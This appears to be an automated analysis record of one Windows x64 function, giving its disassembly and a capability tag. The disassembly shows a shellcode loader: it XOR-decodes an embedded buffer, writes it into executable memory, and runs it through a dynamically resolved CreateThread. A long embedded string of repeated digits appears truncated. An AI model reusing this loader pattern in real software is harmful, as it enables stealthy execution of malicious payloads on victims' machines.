Function at 0x140001b30
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x218
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x190], 0xfffffffffffffffe
mov rdx, rcx
mov dword [rsp + 0x20], 1
lea rsi, [rbp - 0x50]
mov rcx, rsi
mov r8d, 0x20
mov r9d, 0x40
call fcn.1400019c8
mov rax, qword [rsi]
movsxd rax, dword [rax + 4]
lea rcx, [rax + rbp]
add rcx, 0xffffffffffffffb0
call fcn.140001ec8
test al, al
jne 0x140001e0c
lea rsi, [rbp + 0x158]
mov rcx, rsi
call fcn.1400012d0
lea rdi, [rbp + 0xd8]
mov rcx, rdi
call fcn.140001ece
lea rbx, [rbp + 0xe8]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.140001ee0
lea rcx, [rbp + 0x108]
mov rdx, rbx
mov r8, rdi
mov r9, rsi
call fcn.140001f0e
lea rcx, [rbp - 0x50]
call fcn.140001fc8
lea rcx, [rbp + 0x178]
call fcn.140002000
lea rdx, [rbp + 0x138]
mov dword [rdx], 0xbb8
mov rcx, rsi
call fcn.140002144
mov rcx, rsi
call fcn.140002103
lea rsi, [rbp + 0x128]
mov rcx, rsi
call fcn.140002000
lea rdi, [rbp + 0x158]
lea r8, [rbp + 0x178]
mov rcx, rdi
mov rdx, rsi
call fcn.1400021b1
lea rsi, [rbp + 0x130]
mov rcx, rsi
mov rdx, rdi
call fcn.14000214e
mov rcx, rsi
call fcn.140002218
mov ecx, 0x7f149
sub ecx, eax
mov edx, 0xb54
mov r8d, 0xc80
call fcn.140001688
lea rcx, [rbp + 0x158]
mov edx, 0x7f148
call fcn.14000221c
lea rcx, [rbp + 0x138]
lea rdx, [rbp + 0x108]
lea r8, [rbp + 0x158]
call fcn.140001357
lea rdi, [rbp + 0x138]
mov rcx, rdi
call fcn.140002232
mov rsi, rax
mov rcx, rdi
call fcn.1400015ac
mov qword [rbp + 0x180], rax
xor eax, eax
lea rcx, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
xor byte [rax + rcx], 0xfe
inc rax
cmp rax, 0x1191
jne 0x140001cb3
call fcn.140001053
call fcn.140001a9c
lea rdi, [rbp + 0x188]
mov qword [rdi], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x180]
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
call fcn.140011360
call fcn.140001a30
call fcn.140001053
mov rdi, qword [rbp + 0x180]
mov rbx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs rax, 0x64616572685465
lea rsi, [rbp + 0xf8]
mov qword [rsi + 5], rax
movabs rax, 0x6854657461657243
mov qword [rsi], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
call fcn.140001053
mov r8, qword [rbp + 0x188]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call rsi
mov rsi, rax
movaps xmm0, xmmword [str.WaitForSingleObject]
lea rdi, [rbp + 0xc0]
movaps xmmword [rdi], xmm0
mov dword [rdi + 0x10], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.140001053
mov rcx, rsi
mov edx, 0xffffffff
call rdi
lea rcx, [rbp + 0x138]
call fcn.1400012b6
lea rcx, [rbp + 0x158]
call fcn.1400012b6
lea rcx, [rbp + 0x108]
call fcn.1400012b6
lea rcx, [rbp - 0x50]
call fcn.140001a02
nop
add rsp, 0x218
pop rbx
pop rdi
pop rsi
pop rbp
ret